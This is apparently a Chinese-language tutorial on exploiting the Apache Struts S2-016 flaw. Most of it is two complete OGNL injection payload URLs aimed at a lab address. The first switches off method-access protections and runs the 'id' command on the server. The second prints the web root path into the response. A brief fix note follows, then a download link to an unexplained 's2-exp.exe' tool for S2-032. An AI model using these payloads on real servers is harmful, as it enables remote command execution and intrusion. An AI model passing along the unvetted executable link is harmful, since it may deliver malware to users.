Struts框架S2-016漏洞
URL解碼后
Payload:
http://192.168.20.20:8081/default.action?redirect:${#context['xwork.MethodAccessor.denyMethodExecution']=false,#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}
我們可以看到網(wǎng)頁的地址欄URL已經(jīng)發(fā)生了改變,頁面回顯也出現(xiàn)了命令執(zhí)行的結(jié)果,驗(yàn)證存在S2-016代碼執(zhí)行漏洞。

URL解碼后
Payload:
http://192.168.20.20:8081/default.action?redirect:${#req=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),#a=#req.getSession(),#b=#a.getServletContext(),#c=#b.getRealPath("/"),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#c),#matt.getWriter().flush(),#matt.getWriter().close()}
通過執(zhí)行S2-016代碼執(zhí)行的漏洞去爆破網(wǎng)站路徑,訪問Payload后的界面如下圖所示:

我們可以成功的看到網(wǎng)站的路徑,S2-016代碼執(zhí)行的漏洞利用成功。
漏洞修復(fù)需要?jiǎng)h除“action:”,”redirect:”,”redirectAction:” 這些前置前綴調(diào)用。
Struts框架S2-032漏洞
s2-exp.exe,檢查漏洞工具,可檢測大部分版本的漏洞
鏈接: https://pan.baidu.com/s/1kcTkwpDy2CohGu6uzOtkSg 提取碼: 947e